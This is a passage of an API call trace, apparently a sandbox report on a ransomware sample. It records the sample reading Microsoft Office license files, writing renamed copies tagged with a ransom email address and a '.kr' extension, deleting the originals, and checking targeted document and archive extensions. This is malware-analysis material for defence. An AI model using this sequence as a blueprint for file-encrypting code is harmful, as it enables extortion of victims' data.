Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0198.044] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11167) returned 1 [0198.044] CloseHandle (hObject=0x550) returned 1 [0198.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220 [0198.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0198.799] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.799] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0198.800] GetLastError () returned 0x0 [0198.800] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0198.803] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0198.804] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.804] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10e, lpOverlapped=0x0) returned 1 [0198.804] SetEndOfFile (hFile=0x3e8) returned 1 [0198.804] CloseHandle (hObject=0x3e8) returned 1 [0198.805] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.805] SetEndOfFile (hFile=0x538) returned 1 [0198.810] CloseHandle (hObject=0x538) returned 1 [0198.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1 [0198.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.812] lstrlenW (lpString=".doc") returned 4 [0198.812] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.812] lstrlenW (lpString=".docx") returned 5 [0198.812] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.812] lstrlenW (lpString=".pdf") returned 4 [0198.812] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.812] lstrlenW (lpString=".xls") returned 4 [0198.812] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.812] lstrlenW (lpString=".xlsx") returned 5 [0198.812] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.812] lstrlenW (lpString=".ppt") returned 4 [0198.812] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.812] lstrlenW (lpString=".zip") returned 4 [0198.812] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.812] lstrlenW (lpString=".rar") returned 4 [0198.812] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.812] lstrlenW (lpString=".bz2") returned 4 [0198.812] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.812] lstrlenW (lpString=".7z") returned 3 [0198.812] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.812] lstrlenW (lpString=".dbf") returned 4 [0198.812] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.812] lstrlenW (lpString=".1cd") returned 4 [0198.813] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.813] lstrlenW (lpString=".jpg") returned 4 [0198.813] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.813] lstrlenW (lpString=".doc") returned 4 [0198.813] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString=".docx") returned 5 [0198.813] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.813] lstrlenW (lpString=".pdf") returned 4 [0198.813] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString=".xls") returned 4 [0198.813] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString=".xlsx") returned 5 [0198.813] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.813] lstrlenW (lpString=".ppt") returned 4 [0198.813] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.813] lstrlenW (lpString=".zip") returned 4 [0198.813] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString=".rar") returned 4 [0198.813] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString=".bz2") returned 4 [0198.813] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.813] lstrlenW (lpString=".7z") returned 3 [0198.813] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.813] lstrlenW (lpString=".dbf") returned 4 [0198.813] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.814] lstrlenW (lpString=".1cd") returned 4 [0198.814] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0198.814] lstrlenW (lpString=".jpg") returned 4 [0198.814] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.814] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.814] lstrlenW (lpString="HomeStudentR_Grace-ul-oob.xrm-ms") returned 32 [0198.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0198.815] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11619) returned 1 [0198.815] CloseHandle (hObject=0x538) returned 1 [0198.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220 [0198.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0198.816] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.816] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0198.817] GetLastError () returned 0x0 [0198.818] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d63, lpOverlapped=0x0) returned 1 [0198.820] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0198.821] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.821] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0198.821] SetEndOfFile (hFile=0x3e8) returned 1 [0198.821] CloseHandle (hObject=0x3e8) returned 1 [0198.821] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.821] SetEndOfFile (hFile=0x538) returned 1 [0198.825] CloseHandle (hObject=0x538) returned 1 [0198.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1 [0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.827] lstrlenW (lpString=".doc") returned 4 [0198.827] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.827] lstrlenW (lpString=".docx") returned 5 [0198.827] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.827] lstrlenW (lpString=".pdf") returned 4 [0198.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.827] lstrlenW (lpString=".xls") returned 4 [0198.827] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.827] lstrlenW (lpString=".xlsx") returned 5 [0198.827] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.827] lstrlenW (lpString=".ppt") returned 4 [0198.827] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.827] lstrlenW (lpString=".zip") returned 4 [0198.828] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString=".rar") returned 4 [0198.828] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString=".bz2") returned 4 [0198.828] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString=".7z") returned 3 [0198.828] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.828] lstrlenW (lpString=".dbf") returned 4 [0198.828] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.828] lstrlenW (lpString=".1cd") returned 4 [0198.828] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.828] lstrlenW (lpString=".jpg") returned 4 [0198.828] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.828] lstrlenW (lpString=".doc") returned 4 [0198.828] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString=".docx") returned 5 [0198.828] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.828] lstrlenW (lpString=".pdf") returned 4 [0198.828] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString=".xls") returned 4 [0198.828] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.828] lstrlenW (lpString=".xlsx") returned 5 [0198.828] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.828] lstrlenW (lpString=".ppt") returned 4 [0198.829] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.829] lstrlenW (lpString=".zip") returned 4 [0198.829] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.829] lstrlenW (lpString=".rar") returned 4 [0198.829] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.829] lstrlenW (lpString=".bz2") returned 4 [0198.829] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.829] lstrlenW (lpString=".7z") returned 3 [0198.829] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.829] lstrlenW (lpString=".dbf") returned 4 [0198.829] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.829] lstrlenW (lpString=".1cd") returned 4 [0198.829] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0198.829] lstrlenW (lpString=".jpg") returned 4 [0198.829] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.829] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.829] lstrlenW (lpString="HomeStudentR_OEM_Perp-pl.xrm-ms") returned 31 [0198.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0198.830] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10659) returned 1 [0198.830] CloseHandle (hObject=0x538) returned 1 [0198.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220 [0198.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0198.831] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.831] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0198.832] GetLastError () returned 0x0 [0198.832] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0198.834] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0198.835] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.835] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0198.835] SetEndOfFile (hFile=0x3e8) returned 1 [0198.836] CloseHandle (hObject=0x3e8) returned 1 [0198.836] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.837] SetEndOfFile (hFile=0x538) returned 1 [0199.421] CloseHandle (hObject=0x538) returned 1 [0199.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1 [0199.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.423] lstrlenW (lpString=".doc") returned 4 [0199.423] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.423] lstrlenW (lpString=".docx") returned 5 [0199.423] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.423] lstrlenW (lpString=".pdf") returned 4 [0199.423] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.423] lstrlenW (lpString=".xls") returned 4 [0199.423] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.423] lstrlenW (lpString=".xlsx") returned 5 [0199.423] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.423] lstrlenW (lpString=".ppt") returned 4 [0199.423] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.423] lstrlenW (lpString=".zip") returned 4 [0199.424] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.424] lstrlenW (lpString=".rar") returned 4 [0199.424] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.424] lstrlenW (lpString=".bz2") returned 4 [0199.424] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.424] lstrlenW (lpString=".7z") returned 3 [0199.424] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.424] lstrlenW (lpString=".dbf") returned 4 [0199.424] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.424] lstrlenW (lpString=".1cd") returned 4 [0199.424] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.424] lstrlenW (lpString=".jpg") returned 4 [0199.424] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.424] lstrlenW (lpString=".doc") returned 4 [0199.424] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.424] lstrlenW (lpString=".docx") returned 5 [0199.424] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.424] lstrlenW (lpString=".pdf") returned 4 [0199.424] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".xls") returned 4 [0199.425] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".xlsx") returned 5 [0199.425] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.425] lstrlenW (lpString=".ppt") returned 4 [0199.425] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.425] lstrlenW (lpString=".zip") returned 4 [0199.425] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".rar") returned 4 [0199.425] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".bz2") returned 4 [0199.425] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString=".7z") returned 3 [0199.425] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.425] lstrlenW (lpString=".dbf") returned 4 [0199.425] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.425] lstrlenW (lpString=".1cd") returned 4 [0199.425] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.425] 